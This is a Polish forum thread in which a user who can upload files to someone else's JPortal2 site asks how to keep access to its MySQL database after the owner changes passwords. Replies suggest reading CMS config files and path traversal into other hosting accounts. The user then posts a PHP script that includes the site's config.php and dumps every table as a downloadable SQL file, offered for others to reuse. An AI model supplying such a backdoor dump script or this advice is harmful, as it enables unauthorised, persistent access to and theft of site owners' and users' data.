skrypt php- dostep do mysql

[d3q]

witam, mam pytanie czy istnieje skrypt w php ktory pozwoli mi na modyfikowanie danych z mysql bez podawania hasla(bedzie je zczytywal z configu strony) chodzi o Jportal2

prosze o link/skrypt cokolwiek

pozdrawiam

@edit
albo jak wyciagnac haslo mysql?! ofc za pomoca php


-> sory za takie noobskie pytania ale srednio stoje z php

[gogulas]

z mysqlem trzeba sie polaczyc, to demon sluchajacy najczesciej na porcie 3306, sluzy do tego funkcja mysql_connect(), innej mozliwosci nie ma, a czy bedzie using password NO/YES to juz zalezy.
czesto tez akceptowne sa polaczenie jedynie z localhosta, w darmowych hostingach zawsze.

wyciagnac haslo z mysqla?, jakis bug w nim by sie przydal, albo wystarczy ze odczytasz pliki konifiguracyjne cmsow, czasem tez hosting jest tak swietnie skonfigurowany ze pozwala na readfile(../../../agnieszka/public_html/config.php) :P

[d3q]

chodzi o to ze dostep do strony mam i moge wgrac plik, ale jak koles zmieni hasla to juz po mnie, chodzi o to zebym w kazdej chwili mogl wejsc do mysql lub wyciagnac haslo z pliku configa

[gogulas]

wstawic do bazy jakis trig, zeby wypluwal rekordy... moze i sie da, nie wiem..
hasla do samego mysla nie uzyskasz, zreszta i tak jest zshashowane.

[d3q]

mi sie wydaje ze nie jest ona hashowane bo nawet w panelu admina jest ono jawnie zapisane(nie ma *** czy podobnych) poprostu jawny text Jportal jest taki dziurawy ze musi sie dac jakos to wyciagnac albo jakis skrypt ktory mi umozliwi sciagniecie pliku config

@edit albo robil kopie pliku config.php z chmodem 777 cokolwiek byle bym mial dostep do mysql

[elceef]

z mysqlem trzeba sie polaczyc, to demon sluchajacy najczesciej na porcie 3306, sluzy do tego funkcja mysql_connect(), innej mozliwosci nie ma

Ależ oczywiście, że jest inna możliwość.

[rip]

podaj adres tej stronki

[d3q]

nie za bardzo mi podawac adresu ale jest ona oparta na cms Jportal2

@edit
stoi ona na darmowym hoscie yoyo.pl

[d3q]

mam!! przerobilem plik ktory robi kopie bazy jak cos to wrzucam, dziala na JPortal2, moze sie komus przyda

dzieki za pomoc

<?
include('config.php');

{

 


		@set_time_limit(600);
		$crlf="\n";

		$strNoTablesFound = "Brak tabel w bazie danych.";
		$strHost = "Host";
		$strDatabase = "Baza danych ";
		$strTableStructure = "Struktura tabeli dla";
		$strDumpingData = "Zawartosc tabeli";
		$strError = "blad";
		$strSQLQuery = "SQL";
		$strMySQLSaid = "MySQL : ";
		$strBack = "Wstecz";
		$strFileName = "Kopia bazy";
		$strName = "Baza danych";
		$strDone = "Z dnia";
    	$strat = "";
		$strby = "by";
		$date_jour = date ("m-d-Y");		


		header("Content-disposition: filename=$strFileName $db_name $date_jour.sql");
		header("Content-type: application/octetstream");
		header("Pragma: no-cache");
		header("Expires: 0");
		
		// doing some DOS-CRLF magic...
		$client = getenv("HTTP_USER_AGENT");
		if(ereg('[^(]*\((.*)\)[^)]*',$client,$regs)) 
		{
		$os = $regs[1];
		// this looks better under WinX
		if (eregi("Win",$os)) 
		    $crlf="\r\n";
		}
		
		
		function my_handler($sql_insert)
		{
		    global $crlf;
		    echo "$sql_insert;$crlf";
		}
		
		// Get the content of $table as a series of INSERT statements.
		// After every row, a custom callback function $handler gets called.
		// $handler must accept one parameter ($sql_insert);
		function get_table_content($db, $table, $handler)
		{
		    $result = mysql_db_query($db, "SELECT * FROM $table") or mysql_die();
		    $i = 0;
		    while($row = mysql_fetch_row($result))
		    {
		//        set_time_limit(60); // HaRa
		        $table_list = "(";
		
		        for($j=0; $j<mysql_num_fields($result);$j++)
		            $table_list .= mysql_field_name($result,$j).", ";
		
		        $table_list = substr($table_list,0,-2);
		        $table_list .= ")";
		
		        if(isset($GLOBALS["showcolumns"]))
		            $schema_insert = "INSERT INTO $table $table_list VALUES (";
		        else
		            $schema_insert = "INSERT INTO $table VALUES (";
		
		        for($j=0; $j<mysql_num_fields($result);$j++)
		        {
		            if(!isset($row[$j]))
		                $schema_insert .= " NULL,";
		            elseif($row[$j] != "")
		                $schema_insert .= " '".addslashes($row[$j])."',";
		            else
		                $schema_insert .= " '',";
		        }
		        $schema_insert = ereg_replace(",$", "", $schema_insert);
		        $schema_insert .= ")";
		        $handler(trim($schema_insert));
		        $i++;
		    }
		    return (true);
		}
		
		// Return $table's CREATE definition
		// Returns a string containing the CREATE statement on success
		function get_table_def($db, $table, $crlf)
		{
		    $schema_create = "";
		    //$schema_create .= "DROP TABLE IF EXISTS $table;$crlf";
		    $schema_create .= "CREATE TABLE $table ($crlf";
		
		    $result = mysql_db_query($db, "SHOW FIELDS FROM $table") or mysql_die();
		    while($row = mysql_fetch_array($result))
		    {
		        $schema_create .= "   $row[Field] $row[Type]";
		
		        if(isset($row["Default"]) && (!empty($row["Default"]) || $row["Default"] == "0"))
		            $schema_create .= " DEFAULT '$row[Default]'";
		        if($row["Null"] != "YES")
		            $schema_create .= " NOT NULL";
		        if($row["Extra"] != "")
		            $schema_create .= " $row[Extra]";
		        $schema_create .= ",$crlf";
		    }
		    $schema_create = ereg_replace(",".$crlf."$", "", $schema_create);
		    $result = mysql_db_query($db, "SHOW KEYS FROM $table") or mysql_die();
		    while($row = mysql_fetch_array($result))
		    {
		        $kname=$row['Key_name'];
		        if(($kname != "PRIMARY") && ($row['Non_unique'] == 0))
		            $kname="UNIQUE|$kname";
		         if(!isset($index[$kname]))
		             $index[$kname] = array();
		         $index[$kname][] = $row['Column_name'];
		    }
		
		    while(list($x, $columns) = @each($index))
		    {
		         $schema_create .= ",$crlf";
		         if($x == "PRIMARY")
		             $schema_create .= "   PRIMARY KEY (" . implode($columns, ", ") . ")";
		         elseif (substr($x,0,6) == "UNIQUE")
		            $schema_create .= "   UNIQUE ".substr($x,7)." (" . implode($columns, ", ") . ")";
		         else
		            $schema_create .= "   KEY $x (" . implode($columns, ", ") . ")";
		    }
		
		    $schema_create .= "$crlf)";
		    return (stripslashes($schema_create));
		}
		
		function mysql_die($error = "")
		{
		    echo "<b> $strError </b><p>";
		    if(isset($sql_query) && !empty($sql_query))
		    {
		        echo "$strSQLQuery: <pre>$sql_query</pre><p>";
		    }
		    if(empty($error))
		        echo $strMySQLSaid.mysql_error();
		    else
		        echo $strMySQLSaid.$error;
		    echo "<br><a href=\"javascript:history.go(-1)\">$strBack</a>";
		    exit;
		}
		
		global $db_host, $db_name, $db_pass, $db_user, $site_name, $aadres;
				
		$tables = mysql_list_tables($db_name);
		
		$num_tables = @mysql_numrows($tables);
		if($num_tables == 0)
		{
		    echo $strNoTablesFound;
		}
		else
		{
		    $i = 0;
		    $heure_jour = date ("H:i");
		    print "# ========================================================$crlf";
		    print "#$crlf";
		    print "# $strName : $db_name$crlf";
		    print "# $strDone $date_jour $strat $heure_jour$crlf";
            print "# $site_name ($aadres)$crlf";
		    print "#$crlf";
		    print "# ========================================================$crlf";
		    print "$crlf";
		    
		    while($i < $num_tables)
		    { 
		        $table = mysql_tablename($tables, $i);
		
		        print $crlf;
		        print "# --------------------------------------------------------$crlf";
		        print "#$crlf";
		        print "# $strTableStructure '$table'$crlf";
		        print "#$crlf";
		        print $crlf;
		
		        echo get_table_def($db_name, $table, $crlf).";$crlf$crlf";
		        
			print "#$crlf";
			print "# $strDumpingData '$table'$crlf";
			print "#$crlf";
			print $crlf;
			
			get_table_content($db_name, $table, "my_handler");
		
		        $i++;
		    }
		}


}



?>